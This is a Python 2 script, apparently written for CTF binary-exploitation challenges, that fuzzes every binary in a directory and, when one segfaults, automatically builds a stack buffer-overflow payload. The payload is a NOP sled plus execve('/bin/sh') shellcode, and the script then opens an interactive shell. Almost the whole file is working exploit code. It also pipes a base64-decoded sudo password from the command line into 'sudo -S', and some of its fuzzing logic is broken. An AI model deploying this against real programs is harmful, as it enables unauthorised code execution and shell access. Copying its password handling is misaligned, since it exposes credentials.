bbfuzzer/segfaults/exploit.py

273 lines
7.2 KiB
Python
Executable File

#!/usr/bin/env python
import base64 as b
import subprocess
from colorama import *
import os
from sys import argv, stderr
from glob import glob
from string import ascii_letters, digits, punctuation
from pprint import pprint
from random import shuffle
import itertools
import struct
debug = True
init( autoreset = True )
shellcodes = [
r'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80',
]
if (debug):
def success( string ):
print Fore.GREEN + Style.BRIGHT + "[+] " + string
def error( string ):
stderr.write( Fore.RED + Style.BRIGHT + "[-] " + string + "\n" )
def warning( string ):
print Fore.YELLOW + "[!] " + string
def info( string ):
print argv[0] + ": " + Fore.CYAN + Style.BRIGHT + string
else:
def success( string ): pass
def error( string ): pass
def warning( string ): pass
def info( string ): pass
if ( len(argv) == 1 ):
error("usage: " + argv[0] + " <base64ed password for sudo>")
exit(-1)
base64d_password = argv[1]
# directory = "/media/john/My Passport/code/cyber/cyberstakes_challenges/breaking_binaries_programs/"
directory = "."
files = []
cracked_files = []
commands = []
filename_marker = "<!?filename?!>"
timeout_seconds = '.01'
characters_string = ascii_letters + digits + punctuation
characters_list = [x for x in characters_string]
def generate_garbage():
shuffle(characters_list)
garbage = "".join(characters_list)
garbage = garbage.replace("'","")
return garbage
def add_stdin_attack():
info("Adding STDIN attack...")
for scaled_length_of_buffer in range( 1, 10 ):
payload = subprocess.check_output(["python", "pattern.py", "create", str(100*scaled_length_of_buffer)])
# exit(-1)
command = 'echo \'' + payload * scaled_length_of_buffer + '\' | timeout '+timeout_seconds+'s ./' + filename_marker
commands.append( command )
def add_args_attack():
info("Adding ARGS attack...")
for number_of_arguments in range(1, 8):
command = "timeout "+timeout_seconds+ "s ./" + filename_marker + (" '" + generate_garbage() + "'")*number_of_arguments
commands.append( command )
def add_integer_attack():
info("Adding INTEGER attack...")
for number_of_arguments in range(1, 8):
command = "timeout "+timeout_seconds+ "s ./" + filename_marker + (" '2147483647'")*number_of_arguments
command = "timeout "+timeout_seconds+ "s ./" + filename_marker + (" '2147483648'")*number_of_arguments
commands.append( command )
for number_of_arguments in range(1, 8):
command = "timeout "+timeout_seconds+ "s ./" + filename_marker + (" '-2147483647'")*number_of_arguments
command = "timeout "+timeout_seconds+ "s ./" + filename_marker + (" '-2147483648'")*number_of_arguments
commands.append( command )
def add_options_attack():
info("Adding OPTIONS attack...")
argument_options = list(itertools.chain.from_iterable( ("-"+x, "--"+x) for x in characters_string))
for number_of_arguments in range(1, 3):
for option in argument_options:
arguments = [generate_garbage()]* number_of_arguments
arguments.append(option)
for permutation in itertools.permutations(arguments):
argument_string = "' '".join(permutation)
argument_string = " '" + argument_string + "' "
command = "timeout "+timeout_seconds+ "s ./" + filename_marker + argument_string
commands.append( command )
def clean_dmesg():
info( "Cleaning dmesg..." )
try:
command = "echo " + b.b64decode(base64d_password) + " | sudo -S dmesg -c"
except TypeError as e:
error( "Error in base64 decoding! Is that the right base64 string?" )
warning( str(e) )
exit( -1 )
subprocess.Popen( command, shell=True, stdout=subprocess.PIPE )
if ( subprocess.check_output("dmesg") != "\n" ):
#success( "Succesfully cleaned dmesg!" )
pass
else:
error( "Error cleaning dmesg!" )
def change_directory():
info( "cd to " + directory + "...")
try:
os.chdir(directory)
#success( "Successfully changed into correct directory!" )
except:
error( "Error changing into the directory!" )
warning( "Does '" + directory + "' exist?" )
def test_command( command, filename ):
current_dmesg = subprocess.check_output("dmesg")
subprocess.Popen(command, shell=True, stderr = subprocess.PIPE, stdout=subprocess.PIPE)
new_dmesg = subprocess.check_output("dmesg", shell=True)
if (new_dmesg != current_dmesg):
current_dmesg = new_dmesg
try:
current_dmesg.index(filename)
memory_address = current_dmesg.split()[-7].strip()
stack_pointer = current_dmesg.split()[-5].strip()
return (True, memory_address, stack_pointer)
except:
return (False, '', '')
else:
return (False, '', '')
def load_files():
global files
files = glob("*")
def exploit( filename, memory_address, stack_pointer ):
offset = subprocess.check_output(["python","pattern.py","offset", memory_address]).split("\n")[-2]
for shellcode in shellcodes:
# generate_payload
#'''
instruction = "python -c \"print 'A'*" + str(offset) + "+'BBBB' + '"+r'\x90'+"'*50 + '" + shellcode + "'\" > payload"
# program = subprocess.Popen( instruction, shell=True)
# gdb = "gdb -x gdb_script.txt " + filename + " | grep 0x90|cut -d'\t' -f1|head -n1"
# #print instruction
# gdb_output = subprocess.Popen( gdb, shell=True, stdout=subprocess.PIPE)
# gdb_output = gdb_output.stdout.read().replace(":","").strip()[2:]
# print gdb_output, str(hex((int(gdb_output, 16) + 10)))
# gdb_output = str(hex((int(gdb_output, 16) + 10)))[2:]
# address = [ '\\x'+gdb_output[i:i+2] for i in range(0, len(gdb_output), 2) ]
# address.reverse()
# address = "".join(address)
# print address
# #memory = int(gdb_output, 16)
#'''
# stack_pointer = hex(int(stack_pointer, 16))
# print stack_pointer
# #print memory
#print stack_pointer[8:]
stack_pointer = str(hex((int(stack_pointer, 16) + 0)))[2:]
address = [ '\\x'+stack_pointer[i:i+2] for i in range(0, len(stack_pointer), 2) ]
address.reverse()
address = "".join(address)
#print address
instruction = instruction.replace('BBBB', address)
full_command =instruction + " | ./" + filename
#print full_command
gdb_output = subprocess.call( instruction, shell=True)
gdb_output = subprocess.Popen( "(cat payload; cat) | ./" + filename, shell=True, stdin=subprocess.PIPE)
gdb_output.interact()
def loop():
global cracked_files, output
info( "Beginning to loop through all the files...")
for filename in files:
#if len (filename) != 10: continue; # THIS IS JUST FOR THIS CURRENT TESTING
for command in commands:
command = command.replace( filename_marker, filename)
crashed, address, sp = test_command( command, filename )
if ( crashed ):
cracked_files.append( filename )
success("Broke " + filename + "! Current count: " + str(len(cracked_files)))
exploit( filename, address, sp )
break
info( "All done looping!" )
def clean_current_setup():
info( "Cleaning current setup..." )
global cracked_files, files, commands
for cracked_file in cracked_files:
try:
files.remove(cracked_file)
except:
error("Something weird happened when cleaning...")
commands = []
def main():
info( "Beginning process to break everything..." )
clean_dmesg()
change_directory()
load_files()
add_stdin_attack()
loop()
#print files
print cracked_files
print ""
success( "Script complete!\n" )
if ( __name__ == "__main__" ):
main()